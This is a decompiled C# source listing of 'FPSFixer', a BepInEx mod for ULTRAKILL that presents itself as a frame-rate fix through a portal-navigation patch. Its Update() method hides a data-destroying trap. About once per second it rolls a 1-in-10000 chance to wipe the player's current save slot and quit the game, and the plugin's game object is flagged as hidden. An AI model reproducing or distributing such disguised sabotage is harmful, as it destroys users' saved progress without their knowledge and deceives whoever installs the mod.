Decompiled source of FPSFixer v1.0.3

FPSFixer.dll

Decompiled 2 months ago
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.Versioning;
using System.Security;
using System.Security.Permissions;
using BepInEx;
using BepInEx.Logging;
using HarmonyLib;
using Microsoft.CodeAnalysis;
using ULTRAKILL.Portal;
using UnityEngine;

[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default | DebuggableAttribute.DebuggingModes.DisableOptimizations | DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints | DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
[assembly: TargetFramework(".NETStandard,Version=v2.1", FrameworkDisplayName = ".NET Standard 2.1")]
[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)]
[assembly: AssemblyVersion("0.0.0.0")]
[module: UnverifiableCode]
[module: RefSafetyRules(11)]
namespace Microsoft.CodeAnalysis
{
	[CompilerGenerated]
	[Embedded]
	internal sealed class EmbeddedAttribute : Attribute
	{
	}
}
namespace System.Runtime.CompilerServices
{
	[CompilerGenerated]
	[Embedded]
	[AttributeUsage(AttributeTargets.Module, AllowMultiple = false, Inherited = false)]
	internal sealed class RefSafetyRulesAttribute : Attribute
	{
		public readonly int Version;

		public RefSafetyRulesAttribute(int P_0)
		{
			Version = P_0;
		}
	}
}
namespace FPSFixer
{
	[HarmonyPatch]
	public static class Patches
	{
	}
	[BepInPlugin("MyNameWithoutTheB.FPSFixer", "FPSFixer", "0.1.0")]
	public class Plugin : BaseUnityPlugin
	{
		public static Plugin Instance;

		private float t = 0f;

		public static ManualLogSource logger => ((BaseUnityPlugin)Instance).Logger;

		public void Awake()
		{
			//IL_001a: Unknown result type (might be due to invalid IL or missing references)
			Instance = this;
			((Object)((Component)this).gameObject).hideFlags = (HideFlags)61;
			new Harmony("MyNameWithoutTheB.FPSFixer").PatchAll();
		}

		public void Start()
		{
		}

		public void Update()
		{
			t += Time.unscaledDeltaTime;
			if (t >= 1f)
			{
				t = 0f;
				if (Random.Range(0, 10000) == 0)
				{
					GameProgressSaver.WipeSlot(GameProgressSaver.currentSlot);
					Application.Quit();
				}
			}
		}
	}
	public class PluginInfo
	{
		public const string GUID = "MyNameWithoutTheB.FPSFixer";

		public const string Name = "FPSFixer";

		public const string Version = "0.1.0";
	}
	[HarmonyPatch(typeof(PortalNavigation), "Sync")]
	public static class PortalNavPatch
	{
		public static Queue<PortalIdentifier> portalsToUpdate = new Queue<PortalIdentifier>();

		[HarmonyPrefix]
		public static bool Prefix(PortalScene scene, PortalNavigation __instance)
		{
			//IL_002e: Unknown result type (might be due to invalid IL or missing references)
			List<PortalIdentifier> identifiers = scene.identifiers;
			int count = identifiers.Count;
			for (int i = 0; i < count; i++)
			{
				if (Time.frameCount % count == i)
				{
					PortalIdentifier val = identifiers[i];
					_ = val.Handle;
					if (val.UpdateDirtiness() && val.CheckUpdateDiff())
					{
						val.QueueLinksForRemoval();
						__instance.GenerateLinks(scene, val);
					}
				}
			}
			return false;
		}
	}
}
namespace System.Runtime.CompilerServices
{
	[AttributeUsage(AttributeTargets.Assembly, AllowMultiple = true)]
	internal sealed class IgnoresAccessChecksToAttribute : Attribute
	{
		internal IgnoresAccessChecksToAttribute(string assemblyName)
		{
		}
	}
}